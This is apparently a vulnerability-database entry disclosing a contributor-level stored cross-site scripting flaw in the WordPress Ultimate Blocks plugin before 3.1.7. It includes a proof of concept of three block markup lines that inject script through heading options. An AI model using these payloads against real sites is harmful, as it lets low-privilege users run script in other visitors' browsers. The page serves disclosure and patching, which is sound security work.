Lucene search

K
wpexploitDmitrii IgnatyevWPEX-ID:A645DAEE-42EA-43F8-9480-EF3BE69606E0
HistoryApr 23, 2024 - 12:00 a.m.

Ultimate Blocks < 3.1.7 - Contributor+ Stored XSS

2024-04-2300:00:00
Dmitrii Ignatyev
34
ultimate blocks
contributor+
stored xss
poc disclosure
may 07 2024
update
exploit

AI Score

8.3

Confidence

High

EPSS

0

Percentile

9.0%

Description The plugin does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

As a contributor, put the below code in a post while in Code Editor mode:

<!-- wp:ub/advanced-heading {"blockID":"aaa","level":"img src=x onerror=alert(/XSS-level/)","fontSize":29,"fontFamily":"Cardo","lineHeight":35} /-->

<!-- wp:ub/advanced-heading {"blockID":"\u0022src onerror=alert(/XSS-BlockID/)//","level":"img","fontSize":29,"fontFamily":"Cardo","lineHeight":35} /-->

<!-- wp:ub/advanced-heading {"blockID":"a","level":"script","content":"alert(/XSS-content/)","fontSize":29,"fontFamily":"Cardo","lineHeight":35} /-->

AI Score

8.3

Confidence

High

EPSS

0

Percentile

9.0%

Related for WPEX-ID:A645DAEE-42EA-43F8-9480-EF3BE69606E0